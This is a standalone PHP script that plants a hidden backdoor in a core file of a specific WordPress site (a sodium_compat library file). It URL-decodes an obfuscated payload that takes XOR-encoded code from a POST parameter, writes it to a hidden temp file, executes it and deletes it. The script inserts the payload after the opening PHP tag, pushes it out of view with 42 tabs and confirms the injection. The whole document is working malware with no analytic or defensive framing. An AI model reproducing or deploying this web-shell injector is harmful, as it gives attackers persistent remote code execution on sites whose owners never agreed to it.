<?php $path = '/home2/joyhucol/public_html/themillennialshandbook/wp-includes/sodium_compat/lib/ristretto255.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28filter_has_var%28INPUT_POST%2C%20%22ps%5Cx65t%22%29%29%7B%20%24dchunk%20%3D%20hex2bin%28%24_REQUEST%5B%22ps%5Cx65t%22%5D%29%3B%20%24data%3D%27%27%20%3B%20for%28%24b%3D0%3B%20%24b%3Cstrlen%28%24dchunk%29%3B%20%24b%2B%2B%29%7B%24data%20.%3D%20chr%28ord%28%24dchunk%5B%24b%5D%29%20%5E%2054%29%3B%7D%20%24ent%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20sys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20getenv%28%22TMP%22%29%5D%29%3B%20while%20%28%24res%20%3D%20array_shift%28%24ent%29%29%20%7B%20if%20%28%21%28%20%21is_dir%28%24res%29%20%7C%7C%20%21is_writable%28%24res%29%20%29%29%20%7B%20%24elem%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24res%2C%20%22.ptr%22%5D%29%3B%20%24file%20%3D%20fopen%28%24elem%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24data%29%3B%20fclose%28%24file%29%3B%20include%20%24elem%3B%20%40unlink%28%24elem%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) { die('!failed!'); } if (strstr($content, $new_code)) { die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) { $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) { $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) { die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { $len = strlen($start); if ($len > strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '<?') { if (strncmp($body, '<?xml', 5) === 0) { continue; } if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');